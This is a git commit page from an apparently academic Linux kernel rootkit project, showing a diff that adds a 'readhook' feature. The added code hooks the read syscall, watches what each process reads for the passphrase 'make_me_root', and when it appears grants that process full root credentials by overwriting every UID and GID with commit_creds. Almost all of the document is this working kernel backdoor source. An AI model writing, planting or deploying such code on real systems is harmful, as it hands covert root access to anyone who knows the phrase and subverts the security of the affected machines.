linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit e4895af9e60b1acbcac253e816821ddc780f3e80
parent c5a3727d84aad1043e624183e947466f5121ba9f
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat, 28 Nov 2020 14:48:20 +0100

Merge readhook functionality

Diffstat:
Asrc/creds.c | 34++++++++++++++++++++++++++++++++++
Asrc/creds.h | 2++
Msrc/hook.c | 11++++++++++-
Asrc/read.c | 132+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/read.h | 23+++++++++++++++++++++++
5 files changed, 201 insertions(+), 1 deletion(-)

diff --git a/src/creds.c b/src/creds.c @@ -0,0 +1,33 @@ +#include <linux/cred.h> + +#include "creds.h" + +void +make_root(void) +{ + struct cred *new; + + if(!(new = prepare_creds())) + return; + + kuid_t root_u = make_kuid(new->user_ns, 0); + kgid_t root_g = make_kgid(new->user_ns, 0); + + //Effective and real UID + new->euid = root_u; + new->uid = root_u; + + //Effective and real GID + new->egid = root_g; + new->gid = root_g; + + //Saved UID and GID + new->suid = root_u; + new->sgid = root_g; + + //VFS-Ops UID and GID + new->fsuid = root_u; + new->fsgid = root_g; + + commit_creds(new); +} +\ No newline at end of file diff --git a/src/creds.h b/src/creds.h @@ -0,0 +1,2 @@ + +void make_root(void); diff --git a/src/hook.c b/src/hook.c @@ -10,6 +10,7 @@ #include "rootkit.h" #include "filehide.h" #include "backdoor.h" +#include "read.h" extern rootkit_t rootkit; @@ -84,7 +85,15 @@ enable_protection(void) asmlinkage ssize_t g7_read(const struct pt_regs *pt_regs) { - return sys_read(pt_regs); + long ret = sys_read(pt_regs); + + //Just like the SystemV-CC (ignoring fd) + char *buf = (char *)pt_regs->si; + size_t count = pt_regs->dx; + + handle_pid(current->pid, buf, count); + + return ret; } // https://elixir.bootlin.com/linux/v4.19/source/arch/x86/entry/syscall_64.c diff --git a/src/read.c b/src/read.c @@ -0,0 +1,131 @@ +#include <linux/hashtable.h> +#include <linux/kernel.h> +#include <linux/slab.h> + +#include "read.h" +#include "common.h" +#include "hook.h" +#include "creds.h" + +DEFINE_HASHTABLE(pid_ht, 8); + +static const char *accept = "makerot_"; + +static int +is_valid(char *buf, size_t size) +{ + //Small performance optimization when only reading one char + //Avoids strspn + if(size == 1) { + if((buf[0] >= 'a' && buf[0] <= 'z') || buf[0] == '_') { + return strspn(buf, accept) > 0; + } + + return 0; + } + + return strspn(buf, accept) > 0; +} + +static void +add_entry(pid_t key) +{ + struct pid_entry *cur; + struct pid_entry *new = kzalloc(sizeof(struct pid_entry), GFP_KERNEL); + new->pid = key; + new->str = kzalloc(MAX_BUF, GFP_KERNEL); + new->capacity = MAX_BUF; + new->iter = 0; + + + int found = 0; + hash_for_each_possible(pid_ht, cur, hlist, key) + if(cur->pid == key) + found = 1; + + if(!found) + hash_add(pid_ht, &new->hlist, key); +} + +static void +remove_entry(pid_t key) +{ + struct pid_entry *cur; + + hash_for_each_possible(pid_ht, cur, hlist, key) { + if(cur->pid == key) { + kfree(cur->str); + hash_del(&cur->hlist); + kfree(cur); + } + } +} + +static struct pid_entry * +get_entry(pid_t key) +{ + struct pid_entry *cur; + + hash_for_each_possible(pid_ht, cur, hlist, key) + if(cur->pid == key) + return cur; + + return NULL; +} + +static void +handle_compare(char *buf, pid_t pid, size_t size) +{ + struct pid_entry *entry; + entry = get_entry(pid); + + int i = 0; + + if(entry) { + fill: + while(i < size && entry->capacity > 0) { + entry->str[entry->iter] = buf[i]; + entry->capacity--; + i++; + entry->iter++; + } + + if(strnstr(entry->str, PASSPHRASE, MAX_BUF)) { + make_root(); + return; + } + + if(entry->capacity == 0) { + memmove(entry->str, (entry->str + 12), 12); + entry->capacity = entry->iter = 12; + + goto fill; + } + } + + if(strstr(entry->str, PASSPHRASE)) + make_root(); +} + +void +handle_pid(pid_t pid, __user char *buf, size_t size) +{ + char *str = kzalloc(size, GFP_KERNEL); + copy_from_user(str, buf, size); + + //Early return on exact match + if(strnstr(str, PASSPHRASE, size)) { + make_root(); + return; + } + + if(is_valid(str, size)) { + add_entry(pid); + handle_compare(buf, pid, size); + } else { + //Throw out hashtable entries on invalid input + remove_entry(pid); + } + + kfree(str); +} +\ No newline at end of file diff --git a/src/read.h b/src/read.h @@ -0,0 +1,22 @@ +#ifndef _GROUP7_READ_H +#define _GROUP7_READ_H + +#define PASSPHRASE "make_me_root" +#define PASSHPHRASE_LEN 12 +#define MAX_BUF 23 //We never need to save more than 23 Bytes + + +void handle_pid(pid_t, __user char *, size_t); +void hook_read(void); +void unhook_read(void); + +struct pid_entry { + pid_t pid; + char *str; + int capacity; + int iter; + struct hlist_node hlist; +}; + + +#endif//_GROUP7_READ_H +\ No newline at end of file